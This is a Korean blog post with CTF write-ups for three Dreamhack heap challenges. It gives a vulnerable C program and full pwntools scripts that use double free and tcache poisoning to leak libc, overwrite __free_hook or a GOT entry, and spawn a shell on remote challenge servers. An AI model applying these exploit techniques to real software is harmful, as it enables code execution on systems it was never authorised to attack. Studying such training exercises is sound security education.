[dreamhack] tcache poison
2024년 7월 15일
tcache poison #
정보수집 #
canary나 PIE가 적용되어 있지 않다.
PIE가 적용되어 있지 않기 때문에 오프셋을 구하면 끝난다.
소스코드를 확인해보면 그냥 원하는대로 메모리를 할당하고, 읽고, 쓰고, 해제하는 기능이 있다. 이것만으로 쉘을 실행시켜야한다.
1// Name: tcache_poison.c
2// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
3
4#include <stdio.h>
5#include <stdlib.h>
6#include <unistd.h>
7
8int main() {
9 void *chunk = NULL;
10 unsigned int size;
11 int idx;
12
13 setvbuf(stdin, 0, 2, 0);
14 setvbuf(stdout, 0, 2, 0);
15
16 while (1) {
17 printf("1. Allocate\n");
18 printf("2. Free\n");
19 printf("3. Print\n");
20 printf("4. Edit\n");
21 scanf("%d", &idx);
22
23 switch (idx) {
24 case 1:
25 printf("Size: ");
26 scanf("%d", &size);
27 chunk = malloc(size);
28 printf("Content: ");
29 read(0, chunk, size - 1);
30 break;
31 case 2:
32 free(chunk);
33 break;
34 case 3:
35 printf("Content: %s", chunk);
36 break;
37 case 4:
38 printf("Edit chunk: ");
39 read(0, chunk, size - 1);
40 break;
41 default:
42 break;
43 }
44 }
45
46 return 0;
47}
공격 #
nx가 설정되어 있기 때문에 힙에 쉘코드를 올리는 것도 어렵고, stack overflow가 없고 full RELRO이기 때문에 리턴값을 변경하거나 got를 변조하는것은 어렵다.
결국 변조해야되는 대상은 hook을 변조해야 하고, one_gadget을 사용해서 쉘을 획득하는 것이 좋아보인다. 그러려면 먼저 libc의 베이스 주소를 먼저 알아와야 한다.
- libc 주소 알아오기
- printf를 한번 사용한 후 got에서 가져오고 오프셋으로 계산하면 될것이다. (이미 처음 입력받는 그 시점에도 got는 변경되어있다)
- tcache의 free list에 printf의 got를 강제 삽입
- malloc으로 0x20byte 할당
- free 해서 tcache로 보내기
- edit 해서 free된 청크의 key 변경
- free 해서 더블프리 상태 만들기
- 재할당해서 변조 가능한 상태로 변경
- LIFO 구조인데, 마지막에 들어온 청크가 맨앞에 연결되기 때문에 next에 printf의 got를 넣고 재할당하면 기존에 double free된 청크가 할당돼서 한번 더 재할당해야한다.
- print 해서 값을 읽어온다.
- 이 문제에서는 할당과 쓰기를 동시에 하기 때문에 got값을 사용할 수 없다.
- got 대신 stdout을 사용하면 된다. 라이브러리마다 다르지만, stdout도 _IO_2_1_stdout_ 를 가리키는 포인터이다.
- 라이브러리상의 stdout 들의 오프셋
- 런타임 중 확인해보면 stdout에
libc::stdout이 아닌libc::_IO_2_1_stdout_이 저장되어 있는것을 알 수 있다.
- 라이브러리상의 stdout 들의 오프셋
- 가져온 베이스로 변조할 타겟주소, 원가젯 주소를 알아온다
- 다른 사이즈로 다시 double free를 일으켜서 새로운 tcache를 poisoning한다.
- 목표는 변조할 타겟 주소에 원가젯 주소를 쓰는것이며, 훅을 사용한다.
- free hook을 이용해서 원가젯 코드를 트리거한다.
공격코드 #
1from pwn import *
2
3p = process('./tcache_poison', env={"LD_PRELOAD" : "./libc-2.27.so"})
4p = remote('host3.dreamhack.games', 18986)
5e = ELF('./tcache_poison')
6le = ELF('./libc-2.27.so')
7
8
9def alloc(size, data):
10 p.sendlineafter(b'Edit\n', b'1')
11 p.sendlineafter(b':', str(size).encode())
12 p.sendafter(b':', data)
13
14def free():
15 p.sendlineafter(b'Edit\n', b'2')
16
17def print_chunk():
18 p.sendlineafter(b'Edit\n', b'3')
19
20def edit(data):
21 p.sendlineafter(b'Edit\n', b'4')
22 p.sendafter(b':', data)
23
24stdout_io_off = le.symbols['_IO_2_1_stdout_']
25stdout_addr = e.symbols['stdout']
26
27# 1. double free
28alloc(0x30, b'data')
29free()
30edit(b'AAAABBBB\x00')
31free()
32
33# 2. 재할당 하면서 stdout의 주소를 데이터 영역에 쓰면 tcache에 남아있는 chunk에 stdout이 next에 쓰여진다.
34alloc(0x30, p64(stdout_addr))
35edit(p64(stdout_addr))
36print_chunk()
37print(p.recvuntil('Content: '))
38tmp_saddr = u64(p.recv(6).ljust(8,b'\x00'))
39print('chunk_stdout', hex(tmp_saddr))
40
41# 늦게들어온 청크가 맨 앞에 붙는 구조이며 LIFO이기 때문에 맨 앞에서부터 재할당 된다.
42alloc(0x30, b'DUMMYCNK')
43
44# 이때 재할당을 한번 더 하면 stdout을 chunk로 하는 값을 가져오게 된다. 그 안에는 _IO_2_1_stdout_이 있다.
45alloc(0x30, p64(stdout_io_off)[0:1])
46
47print_chunk()
48print(p.recvuntil('Content: '))
49tmp_saddr = u64(p.recv(6).ljust(8, b'\x00'))
50print('chunk_stdout', hex(tmp_saddr))
51
52# 3. 공격에 사용되는 주소 계산
53lib_base = tmp_saddr - stdout_io_off
54freehook_addr = lib_base + le.symbols['__free_hook']
55onegadget_addr = lib_base + 0x4f432
56
57# 4. 새로운 tcache에 double free
58alloc(0x40, b'data')
59free()
60edit(b'AAAABBBB\x00')
61free()
62
63# 5. freehook에 onegadget 주소 쓰기.
64# 5-1. freehook을 컨트롤 할 수 있도록 청크의 next 변조
65alloc(0x40, p64(freehook_addr))
66
67# 5-2. freehook 주소 청크화. 더미 이후 두번째 할당된 chunk가 freehook의 주소를 가리킨다.
68alloc(0x40, b'DUMMYCNK')
69alloc(0x40, b'freehook')
70
71# 5-3. freehook에 onegadget의 주소를 쓰고 훅 실행
72edit(p64(onegadget_addr))
73free()
74
75p.interactive()
tcache_dup #
이 문제는 Partial RELRO, No PIE이기 때문에 got를 사용할 수 있어서 더 쉽다.
하지만 got를 이 공격에 사용할 때 청크가 다른 값들을 수정할 수 있기 때문에 주의해야한다.
1from pwn import *
2
3
4p = process('./tcache_dup', env={'LD_PRELOAD': './libc-2.27.so'})
5p = remote('host3.dreamhack.games', 20080)
6
7e = ELF('./tcache_dup')
8el = ELF('./libc-2.27.so')
9
10def input_n(num):
11 print("=== input : select", num, "===")
12 p.recvuntil(b'\n> ')
13 p.sendline(str(num).encode())
14
15def create(size, data):
16 input_n(1)
17 print("=== create: size", size, "data", data, "===")
18 p.recvuntil(b'Size: ')
19 p.sendline(str(size).encode())
20 p.recvuntil(b'Data: ')
21 p.sendline(data)
22
23def delete(idx):
24 input_n(2)
25 print("=== delete: idx", idx, "===")
26 p.recvuntil(b'idx: ')
27 p.sendline(str(idx).encode())
28
29get_shell_addr = e.symbols['get_shell']
30
31printf_got = e.got['printf']
32printf_off = el.symbols['printf']
33
34
35# 공격을 어떻게 해야할까?
36# 원하는 위치에 원하는 값을 넣어야한다.
37# 타겟 주소: NO PIE, Partial RELRO 이므로, printf의 got를 사용
38# 1. tcache_dup 를 발생시켜서 원하는 주소를 할당
39# 2.28 부터 tcache의 double free가 방지되기 시작했기 때문에 지금은 그냥 double free가 됨
40create(0x30, b'data')
41delete(0)
42delete(0)
43
44create(0x30, p64(printf_got))
45create(0x30, b'dummy')
46
47# 2. printf_got에 get_shell 주소 넣음
48create(0x30, p64(get_shell_addr))
49
50# 3. 공격 성공
51p.interactive()
tcache_dup2 #
이 문제는 이상하게 dup를 만들지 않으면 공격에 실패한다. 이유를 파악하면 좋을듯
from pwn import *
p = remote('host3.dreamhack.games',23990)
e = ELF('./tcache_dup2')
el = ELF('./libc-2.30.so')
def input_n(num):
print("=== input : select", num, "===")
p.recvuntil(b'\n> ')
p.sendline(str(num).encode())
def create(size, data):
input_n(1)
print("=== create: size", size, "data", data, "===")
print(p.recvuntil(b'Size: '))
p.sendline(str(size).encode())
p.recvuntil(b'Data: ')
p.send(data)
print("=== END ===")
def modify(idx, size, data):
input_n(2)
print("=== modify: idx", idx, "size", size, "data", data, "===")
print(p.recvuntil(b'idx: '))
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Data: ')
p.send(data)
print("=== END ===")
def delete(idx):
input_n(3)
print("=== delete: idx", idx, "===")
print(p.recvuntil(b'idx: '))
p.sendline(str(idx).encode())
print("=== END ===")
get_shell_addr = e.symbols['get_shell']
printf_got = e.got['puts']
create(0x10, b'D'*0x8)
delete(0)
modify(0, 0x10, b'AAAABBBB' + b'\x00')
delete(0)
# 중복된 청크의 next에 씀. 첫번째 청크에 썼기 때문에 dup된 청크는 날아간다.
modify(0, 0x10, p64(printf_got))
# dummy 할당
create(0x10, b'D'*0x8)
# printf_got 를 가져오면서 get_shell_addr을 씀
create(0x10, p64(get_shell_addr))
p.interactive()